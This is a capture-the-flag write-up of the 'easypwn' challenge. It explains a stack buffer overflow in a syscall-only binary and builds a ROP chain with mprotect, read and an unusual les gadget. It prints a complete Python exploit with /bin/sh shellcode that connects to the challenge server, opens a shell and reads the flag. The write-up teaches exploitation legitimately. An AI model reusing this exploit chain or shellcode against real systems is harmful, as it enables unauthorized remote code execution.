Another pwnable, named “easypwn”, no less! Should be a walk in the park, right?
Of course, it turns out it wasn’t! We’re given only the executable. The challenge description informs us: no libs, ASLR enabled. Flag is in /home/easypwn/flag. Great! Disassembling the binary leads to the following code:
That’s not a whole lot to work with. Running it gives a clue on what to do:
123456789101112131415
bas@tritonal:~/adventctf$ ulimit -c unlimited
bas@tritonal:~/adventctf$ ./easypwn
pwn me: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
Segmentation fault (core dumped)bas@tritonal:~/adventctf$ gdb ./easypwn core
...snip...
Core was generated by './easypwn'.
Program terminated with signal 11, Segmentation fault.
#0 0x45454545 in ?? ()gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
OK, so it’s a buffer overflow, yet stack is not executable. The program uses no libraries but syscalls to do its work. We must be able to ROP our way to the flag! We have the syscall gadget lined up for us at 0x08048080. Looks easy, right? Wrong!
We have no way to set eax! The eax register contains the syscall number and is kind of crucial to what we want. I uploaded the binary to ropshell.com but I found no straightforward way to set eax. I’d prefer a mov eax or pop eax, or even sub eax or xor eax. Anything, really! I dumped the ROP gadgets with my own tool and found this little gadget:
1
RET: 0x80480e9: les eax, [esi+ebx*2]; ret;
Now this is a strange way to set eax. The les operand does the following: it loads the 48-bit value at the location of esi+ebx*2 and sets eax to the first 32 bits and the es register to the last 16 bits. However, es does not tolerate just any old value. If the wrong value is passed, the program SEGFAULTS. To keep things simple, I looked for values in the binary like this: 0x0000000i, 0x0000. This would load 0xi in eax and 0x0 in es.
It seemed nearly impossible to build a ROP chain that would open, read and write the data from the flag file. For instance, where would I write the filename? On the stack? ASLR is enabled so I’d have no idea of knowing where the stack is. Instead, I went with a different strategy.
I am going to use the syscall mprotect to make the code section from 0x8048000 to 0x8049000 writeable. When this succeeds, I can use syscall read to read in any shellcode from stdin to the code section. Finally, I simply return to that region.
A problem here is that I can’t set eax to 125 (==mprotect) with my little gadget. Instead, I re-use the return value of the last syscall before the buffer overflow: read! The return value of that syscall will be the number of bytes read… If we pass in 125 bytes as payload, then we get exactly the syscall number of mprotect in eax!
Here’s what I came up with, bit by bit. I started the binary via socat, to emulate the target system:
#!/usr/bin/pythonimportstructimportsocketimporttelnetlibSYSCALL=0x8048080POPRET=0x80480eb# pop esi; retADDESP=0x80480bb# add esp, 0x10; retLESEAX=0x80480e9# les eax,FWORD PTR [esi+ebx*2]defp(x):returnstruct.pack("<L",x)payload=""payload+="A"*16# smash stack!payload+=p(SYSCALL)# I rely on the return value of the read syscallpayload+=p(ADDESP)# fix stack with add esp, 10; retpayload+=p(0x8048000)# address to modifypayload+=p(0x1000)# length (page-aligned!)payload+=p(0x7)# PROT_READ|PROT_WRITE|PROT_EXECpayload+="AAAA"# dummy value# reset ebx so we can set eax using the next gadgetpayload+=p(SYSCALL)payload+=p(ADDESP)payload+=p(0)# set ebx = 0payload+=p(0x1000)# don't carepayload+=p(0x7)# don't carepayload+="AAAA"# dummy# set eax = 3# 0x804834a: 0x00000003 0x00000000payload+=p(POPRET)# pop esi; retpayload+=p(0x804834a)# set esi = 0x804834apayload+=p(LESEAX)# eax -> 0x3 == syscall_readpayload+=p(SYSCALL)payload+=p(ADDESP)# fix stackpayload+=p(0)# stdinpayload+=p(0x8048000)# address of bufferpayload+=p(0x200)# number of bytes to readpayload+="BBBB"# dummy valuepayload+=p(0x8048000)# return to shellcode!# payload length must be 125, because after read, the next# syscall is mprotect; eax = 125payload+="A"*(125-len(payload))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#s.connect(("localhost",28099))s.connect(("pwnable.katsudon.org",28099))s.send(payload)# http://www.shell-storm.org/shellcode/files/shellcode-851.phps.send("\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")# the shell should have been spawned, so interact with itt=telnetlib.Telnet()t.sock=st.interact()
This first bit of python sets up the exploit. I have a helper function called p(x) that can dump addresses in the correct endianness into the payload. First, the payload consists of 16 bytes to smash the stack. Then, the ROP chain starts. Finally, I made sure that the first payload is 125 bytes, so that eax will contain the correct syscall number for mprotect. This first important part of the ROP chain looks like this:
123456
payload+=p(SYSCALL)# I rely on the return value of the read syscallpayload+=p(ADDESP)# fix stack with add esp, 10; retpayload+=p(0x8048000)# address to modifypayload+=p(0x1000)# length (page-aligned!)payload+=p(0x7)# PROT_READ|PROT_WRITE|PROT_EXECpayload+="AAAA"# dummy value
This will call syscall(0x8048000, 0x1000, 0x7) with eax set to 125. This makes the memory area at 0x8048000 writeable! Next, I need to read in the shellcode, but for that eax must be 3. I first reset ebx:
1234567
# reset ebx so we can set eax using the next gadgetpayload+=p(SYSCALL)payload+=p(ADDESP)payload+=p(0)# set ebx = 0payload+=p(0x1000)# don't carepayload+=p(0x7)# don't carepayload+="AAAA"# dummy
Whatever this syscall is (I don’t know the value of eax after the mprotect call, nor do I care), it fails but the side-effect is that ebx is now 0. That sets us up for moving the correct number in eax:
1234567
# set eax = 3'''0x804834a: 0x00000003 0x00000000'''payload+=p(POPRET)# pop esi; retpayload+=p(0x804834a)# set esi = 0x804834apayload+=p(LESEAX)# eax -> 0x3 == syscall_read
First, I use a pop esi; ret gadget to set the value of esi to a 48 bit value that contains: 0x3, 0x0. Then I return to the little gadget to set eax (and es) using those values. This results in eax being the correct number for the next syscall, read:
12345678
payload+=p(SYSCALL)payload+=p(ADDESP)# fix stackpayload+=p(0)# stdinpayload+=p(0x8048000)# address of bufferpayload+=p(0x200)# number of bytes to readpayload+="BBBB"# dummy valuepayload+=p(0x8048000)
This reads in 0x200 bytes from stdin to the start of the executable section of the binary. Finally, the ROP chain returns to the start of that buffer, which hopefully contains our shellcode! Finally, make sure that the payload is indeed 125 bytes long, else this entire house of cards falls down:
123
# payload length must be 125, because after read, the next# syscall is mprotect; eax = 125payload+="A"*(125-len(payload))
Because I ran the executable locally via socat, I need to connect to the proper socket and send the payload. The same goes for the remote connection.
After finishing the ROP chain, the binary should now be awaiting further shellcode on stdin, so I’d better send that over quickly!
1234567
# http://www.shell-storm.org/shellcode/files/shellcode-851.phps.send("\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")# the shell should have been spawned, so interact with itt=telnetlib.Telnet()t.sock=st.interact()
The shellcode is sent over; the ROP chain will read it at 0x8048000, return to it and execute /bin/sh. Then I pass the socket to a telnet client to interact with the spawned shell. This allowed me to read the flag!
123456
bas@tritonal:~/adventctf$ python exploit_easy.py
pwn me:
id
uid=1000(easypwn)gid=1000(easypwn)groups=1000(easypwn)cat /home/easypwn/flag
ADCTF_175_345y_7o_cON7ROL_5Y5c4LL